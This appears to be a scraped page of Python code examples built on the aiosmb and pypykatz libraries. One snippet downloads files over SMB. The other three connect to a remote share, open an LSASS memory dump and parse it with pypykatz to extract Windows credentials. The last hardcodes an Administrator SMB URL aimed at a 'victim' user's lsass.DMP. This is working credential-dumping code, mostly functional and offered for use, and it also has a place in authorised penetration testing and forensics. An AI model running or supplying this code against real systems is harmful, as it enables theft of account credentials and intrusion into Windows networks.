Exemple #1
0
async def amain(url, outfilename, progress = True):
	smburl = SMBConnectionURL(url)
	connection = smburl.get_connection()
	smbfile = smburl.get_file()

	async with connection:
		_, err = await connection.login()
		if err is not None:
			raise err
		
		_, err = await smbfile.open(connection)
		if err is not None:
			raise err

		if outfilename is None:
			outfilename = smbfile.name
		
		if progress is True:
			pbar = tqdm.tqdm(desc = 'Downloading %s' % outfilename, total=smbfile.size, unit='B', unit_scale=True, unit_divisor=1024)
		
		with open(outfilename, 'wb') as outfile:
			async for data, err in smbfile.read_chunked():
				if err is not None:
					raise err
				if data is None:
					break
				outfile.write(data)
				if progress is True:
					pbar.update(len(data))
Exemple #2
0
async def lsassfile(url, packages=['all'], chunksize=64 * 1024):
    from aiosmb.commons.connection.url import SMBConnectionURL
    from pypykatz.alsadecryptor.asbmfile import SMBFileReader
    from pypykatz.apypykatz import apypykatz

    smburl = SMBConnectionURL(url)
    connection = smburl.get_connection()
    smbfile = smburl.get_file()

    async with connection:
        logging.debug('[LSASSFILE] Connecting to server...')
        _, err = await connection.login()
        if err is not None:
            raise err

        logging.debug('[LSASSFILE] Connected!')
        logging.debug('[LSASSFILE] Opening LSASS dump file...')
        _, err = await smbfile.open(connection)
        if err is not None:
            raise err

        logging.debug('[LSASSFILE] LSASS file opened!')
        logging.debug('[LSASSFILE] parsing LSASS file...')
        mimi = await apypykatz.parse_minidump_external(SMBFileReader(smbfile),
                                                       chunksize=chunksize,
                                                       packages=packages)
        logging.debug('[LSASSFILE] LSASS file parsed OK!')
        return mimi
Exemple #3
0
    async def run(self, args):

        if args.smb_module == 'lsassfile':
            from aiosmb.commons.connection.url import SMBConnectionURL
            from pypykatz.alsadecryptor.asbmfile import SMBFileReader
            from pypykatz.apypykatz import apypykatz

            smburl = SMBConnectionURL(args.url)
            connection = smburl.get_connection()
            smbfile = smburl.get_file()

            async with connection:
                _, err = await connection.login()
                if err is not None:
                    raise err

                _, err = await smbfile.open(connection)
                if err is not None:
                    raise err

                mimi = await apypykatz.parse_minidump_external(
                    SMBFileReader(smbfile))
                self.process_results({'smbfile': mimi}, [], args)

        elif args.smb_module == 'console':
            from aiosmb.examples.smbclient import amain
            la = SMBCMDArgs()
            la.smb_url = args.url
            la.verbose = args.verbose
            if args.commands is not None and len(args.commands) > 0:
                la.commands = []
                if args.commands[0] == 'help':
                    la.commands = ['help']
                else:
                    if args.commands[0] != 'login':
                        la.commands.append('login')

                    for command in args.commands:
                        la.commands.append(command)

            await amain(la)
Exemple #4
0
async def amain():
	from aiosmb.commons.connection.url import SMBConnectionURL
	from pypykatz.alsadecryptor.asbmfile import SMBFileReader

	import sys
	f=sys.argv[1]
	print(f)

	url = 'smb2+ntlm-password://TEST\\Administrator:[email protected]/C$/Users/victim/Desktop/lsass.DMP'
	smburl = SMBConnectionURL(url)
	connection = smburl.get_connection()
	smbfile = smburl.get_file()

	async with connection:
		_, err = await connection.login()
		if err is not None:
			raise err
		
		_, err = await smbfile.open(connection)
		if err is not None:
			raise err

		mimi = await apypykatz.parse_minidump_external(SMBFileReader(smbfile))
		print(mimi)